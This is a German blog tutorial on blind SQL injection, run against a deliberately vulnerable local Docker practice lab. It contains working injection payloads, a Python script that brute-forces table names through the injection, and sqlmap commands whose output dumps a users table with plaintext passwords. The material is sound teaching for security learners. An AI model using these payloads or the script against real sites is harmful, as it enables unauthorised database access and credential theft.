Zum Inhalt springen
Startseite » SQL-Injection 3 – Blind SQL Injection

SQL-Injection 3 – Blind SQL Injection

Blind SQL Injection

Der dritte Blog-Post der SQL-Injection Reihe handelt von der Blind SQL Injection. Schwachstellen, die für diese Art von Angriffen anfällig sind, sind oft schwerer zu finden, das Außmaß des Schadens ist für den Betroffenen jedoch nicht weniger schwerwiegend.

An dieser Stelle möchte ich auf die anderen beiden Beitrage zum Thema SQL-Injection hinweisen. Wer noch keine Erfahrung mit den Grundlagen der SQL Injection hat, sollte sich diese beiden Beirtäge zuerst ansehen:

SQL Injection 1 – Basics
SQL Injection 2 – Die UNION Attack

Damit ihr die Technik direkt nachvollziehen könnt, verweise ich hier noch einmal auf die Trainingsumgebung, die ich mithilfe von Docker-Containern zusammengestellt habe und die Ihr bei Github findet:
git clone https://github.com/bugninja-de/SQL-injection-practice-course.git

Worum geht es bei der Blind SQL Injection?

In den vorangegangenen Beiträgen haben wir immer über die Webseite eine direkte Rückmeldung mit den der Abfrage entsprechenden Daten der Datenbank bekommen. Wir haben also genau gesehen, was die Abfrage an Daten zurück liefert. Diese Rückmeldung fehlt bei der Blind SQL Injection. Wenn wir Glück haben, bekommen wir eine visuelle Rückmeldung, ob passende Daten gefunden wurden. Es kann aber auch vorkommen, dass wir nur an der Dauer, wie lange die Seite für eine Rückmeldung braucht, erkennen können, ob die Abfrage erfolgreich war, oder nicht.

Das hört sich jetzt vielleicht alles sehr theoretisch an, aber was gemeint ist, wird ziemlich schnell deutlich, wenn wir an einem praktischen Beispiel üben.
Damit ihr nicht illegaler Weise irgend eine fremde Website hackt, klont am besten das o.g. Repo. Ihr könnt dann mit einem einfachen docker-compose up -d die Trainingsumgebung starten und im Browser eurer Wahl die Seite http://localhost/blind.php aufrufen. Die Seite sollte dann je nach Browser etwa so aussehen:

Blind SQL Injection Screenshot 1
http://localhost/blind.php

Eine Seite, wie es sie bei einem Online-Händler geben könnte. Wir können damit checken, ob ein bestimmter Artikel in unserer Lieblingsfarbe verfügbar ist. Wenn wir eine Farbe in das Suchfeld eingeben und bestätigen, wird eine Abfrage an die Datenbank geschickt, die alle Produkt-Ids von Artikeln mit der entsprechenden Farbe zurück gibt. Wir bekommen jedoch nicht die Artikel angezeigt, sondern nur, ob es Artikel mit der Farbe gibt oder eben nicht.

Erfolgreiche Abfrage

Was soll ein Angreifer damit anfangen? Er kann damit ja keine Daten aus der Datenbank exfiltrieren – oder doch?
Ja, in der Tat. Zwar ist es nicht ganz so einfach, wie vorher, aber mit einem kleinen selbst erstellten Script oder Tools wie SQLMap können Angreifer trotzdem die ganze Datenbank auslesen.

Schritt 1 – Prüfen auf Anfälligkeit auf Blind SQL Injection:

Wir prüfen, ob das Ziel für eine Blind SQL Injection anfällig ist. Das machen wir, indem wir einmal einen Payload absenden, der immer wahr ist, und einmal einen, der immer falsch ist und schauen, ob sich das Ergebnis auf der Seite wieder spiegelt.

Unser erster Payload, der ein Ergebnis liefert, das immer Wahr ist, könnte folgendermaßen aussehen:
' OR 1 = 1 -- -
Mit einem ' schließen wir den String, der die Farbe angibt und mit OR 1 = 1 geben wir der Abfrage eine Bedingung, die immer wahr ist. Mit -- - kommentieren wir den Rest der Abfrage einfach aus.
Die Webseite gibt uns freundlicherweise aus, wie der gesamte Abfrage-String aussieht:
SELECT id FROM products where color = '' or 1 = 1 -- -'
Als Ergebnis liefert uns die Website den Satz „Good news: sneakers in your favorite color are available :-)“

Also prüfen wir als zweites, was passiert, wenn wir eine Abfrage erstellen, die immer ein leeres Ergebnis zurück liefert:
' AND 1 = 2 -- -
Wir schließen als erstes wieder mit ' den String, der die Farbe angibt, mit AND 1 = 2 erzeugen wie ein Statement, das als ergebnis immer Falsch liefert und mit -- - kommentieren wir wieder den Rest der Zeile aus.
Der komplette Abfrage-String sieht also wie folgt aus:
SELECT id FROM products where color = '' AND 1 = 2 -- -'
Und wie erwartet bekommen wir einen anderen Satz als Rückgabe: „Oh no, we can’t offer sneakers in your favorite color :-(„

Damit wissen wir, dass die Website für Blind SQL Injection anfällig ist.

Schritt 2 – Schwachstelle ausnutzen:

Wir können uns also ausgeben lassen, ob eine Abfrage Daten liefert, oder ein leeres Ergebnis zurück gibt.
Was können wir damit machen? Wir können Raten, ob bestimmte Daten in einer Datenbank vorhanden sind. Und damit wir nicht genau wissen wüssen, wonach wir suchen, benutzen wir sogenannte ‚Wildcards‘.
Wildcards sind etwa so wie Joker in einem Kartenspiel. Joker kann man anstelle anderer Karten verwenden und hier können wir Wildcards als Ersatz für ein oder mehrere andere Zeichen einsetzen. Ein Unterstrich _ steht dabei für ein einzelnes Zeichen und ein Prozent-Zeichen % steht für eine beliebige Anzahl von Zeichen.

Und jetzt kommen eigene Skripte oder spezielle Tools zum Einsatz, denn es wäre sehr mühselig, von Hand alle möglichen Kombinationen von Zeichen durch zu probieren, bis man gefunden hat, wonach man sucht.

Als Beispiel habe ich mal ein kleines Skript geschrieben, das uns die Namen der Tabellen in der Datenbank zurück gibt. Dabei handelt es sich um ein sehr einfaches Skript, dass auch nur immer eine Anfrage nach der anderen an die Datenbank schickt und damit recht langsam ist. Aus diesem Grunde habe ich ein Maximum an Zeichen angegeben, da die Laufzeit mit der Anzahl der zu probierenden Zeichen natürlich ansteigt:

import requests
import string

chars = string.ascii_letters + string.digits + "_"

payload_start = "?color=' AND 1=2 UNION ALL SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE BINARY '"
payload_end = "' -- -"

url = "http://localhost/blind.php"

max_length = 15

def bruteforce(pre, length):
	for x in chars:
		if x == '_':
			x = '\_'
		pattern = pre + x + '_'*(length-1)
		payload = payload_start + pattern + payload_end
		r = requests.get(url + payload)
		if b'Good news' in r.content:
			if ( length == 1):
				print(pattern.replace('\\', ''))
			else:
				bruteforce(pre+x, length-1)

# Try if there is a table name of a specific length
for i in range(1, max_length+1):
	pattern = '_'*i
	payload = payload_start + pattern + payload_end
	r = requests.get(url + payload)
  # if so, bruteforce all character combinations 
	if b'Good news' in r.content:
		print("Tablename with", i, "characters found.")
		bruteforce('', i)
		print("\n")

Eine kleine Erklärung des Skripts:
In einer For-Schleife wird geprüft, ob es Tabellen-Namen mit einer bestimmten Anzahl an Zeichen gibt. Wenn dem so ist, wird die Funktion ‚bruteforce‘ aufgerufen, die rekursiv alle Buchstaben des Tabellennamens bestimmt.

Wenn wir das Skript laufen lassen, bekommen wir folgende Ausgabe:

python blind.py
Tablename with 5 characters found.
users
FILES
VIEWS


Tablename with 6 characters found.
EVENTS
TABLES


Tablename with 7 characters found.
COLUMNS
ENGINES
PLUGINS


Tablename with 8 characters found.
products
KEYWORDS
ROUTINES
SCHEMATA
TRIGGERS


Tablename with 9 characters found.
PROFILING


Tablename with 10 characters found.
COLLATIONS
INNODB_CMP
INNODB_TRX
PARAMETERS
PARTITIONS
STATISTICS


Tablename with 11 characters found.
processlist
PROCESSLIST
TABLESPACES


Tablename with 13 characters found.
global_status
ENABLED_ROLES
INNODB_CMPMEM
INNODB_FIELDS
INNODB_TABLES


Tablename with 14 characters found.
session_status
variables_info
CHARACTER_SETS
INNODB_COLUMNS
INNODB_FOREIGN
INNODB_INDEXES
INNODB_METRICS
INNODB_VIRTUAL


Tablename with 15 characters found.
OPTIMIZER_TRACE
RESOURCE_GROUPS
USER_ATTRIBUTES
USER_PRIVILEGES

Schön nach Anzahl der Zeichen sortiert bekommen wir alle Tabellennamen bis zu einer Länge von 15 Zeichen ausgegeben.

Wir könnten unser Skript jetzt anpassen und damit die Spaltennamen einer speziellen Tabelle ausgeben und die damit gewonnenen Informationen dazu nutzen, den Inhalt der gesamten Tabelle auszugeben.

SQLMap

Mit dem Tool SQLMap geht das ganze noch viel einfacher, ohne dass wir selbst ein Skript erstellen müssen.
Wir geben als erstes einfach mit -u die URL zur verwundbaren Seite an und mit --dbs sagen wir, das SQLMap uns alle Datenbanken ausgeben soll:
sqlmap -u 'http://localhost/blind.php?color=' --dbs

[10:28:36] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.23.1, PHP 7.4.30
back-end DBMS: MySQL >= 5.1
[10:28:36] [INFO] fetching database names
[10:28:36] [INFO] resumed: 'information_schema'
[10:28:36] [INFO] resumed: 'performance_schema'
[10:28:36] [INFO] resumed: 'sqlidb'
available databases [3]:
[*] information_schema
[*] performance_schema
[*] sqlidb

Jetzt können wir uns die Datenbank ’sqlidb‘ auswählen und uns die Tabellen dieser Datenbank ausgeben lassen:
sqlmap -u 'http://localhost/blind.php?color=' --tables -D sqlidb

[03:45:58] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.23.1, PHP 7.4.30
back-end DBMS: MySQL >= 5.1
[03:45:58] [INFO] fetching tables for database: 'sqlidb'
[03:45:58] [INFO] resumed: 'products'
[03:45:58] [INFO] resumed: 'users'
Database: sqlidb
[2 tables]
+----------+
| products |
| users    |
+----------+

Mit der Information, welche Tabellen in der Datenbank liegen, können wir nun auch den Inhalt der Tabellen auslesen. Die User Informationen interessieren uns natürlich mehr als die Produkte:
sqlmap -u 'http://localhost/blind.php?color=' --dump -D sqlidb -T users

[03:49:36] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.23.1, PHP 7.4.30
back-end DBMS: MySQL >= 5.1
[03:49:36] [INFO] fetching columns for table 'users' in database 'sqlidb'
[03:49:36] [INFO] resumed: 'id'
[03:49:36] [INFO] resumed: 'int'
[03:49:36] [INFO] resumed: 'username'
[03:49:36] [INFO] resumed: 'varchar(32)'
[03:49:36] [INFO] resumed: 'password'
[03:49:36] [INFO] resumed: 'varchar(32)'
[03:49:36] [INFO] fetching entries for table 'users' in database 'sqlidb'
[03:49:36] [INFO] resumed: '1'
[03:49:36] [INFO] resumed: 'admin'
[03:49:36] [INFO] resumed: 'admin'
[03:49:36] [INFO] resumed: '2'
[03:49:36] [INFO] resumed: 'password123'
[03:49:36] [INFO] resumed: 'tom'
[03:49:36] [INFO] resumed: '3'
[03:49:36] [INFO] resumed: 'sup3rs3cr3t'
[03:49:36] [INFO] resumed: 'maggie'
[03:49:36] [INFO] resumed: '4'
[03:49:36] [INFO] resumed: 'snowball'
[03:49:36] [INFO] resumed: 'bart'
Database: sqlidb
Table: users
[4 entries]
+----+-------------+----------+
| id | password    | username |
+----+-------------+----------+
| 1  | admin       | admin    |
| 2  | password123 | tom      |
| 3  | sup3rs3cr3t | maggie   |
| 4  | snowball    | bart     |
+----+-------------+----------+

Natürlich handelt es sich bei der Docker Umgebung um ein Beispiel, das extra für SQL Injection Angriffe erstellt wurde und besonders leicht ausgenutzt werden kann, aber es gibt leider viel zu viele Websites und APIs im Internet, die auf die oben beschriebene Vorgehensweise kompromittiert werden können, obwohl dieses durch ein paar kleine Änderungen am Code verhindert werden könnte.

Die Mitigation von SQL Injektion Angriffen soll Thema für den nächsten und letzten Post dieser Reihe werden.
Ich hoffe, Ihr hattet Spaß dabei, die Beispiele aus diesem Beitrag nachzuvollziehen.
Vergesst nicht, die Docker-Umgebung mit docker-compose down wieder zu beenden, wenn ihr damit fertig seid, alles auszuprobieren.

Ich freue mich sehr auf Kommentare von euch 😉

Schlagwörter:

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert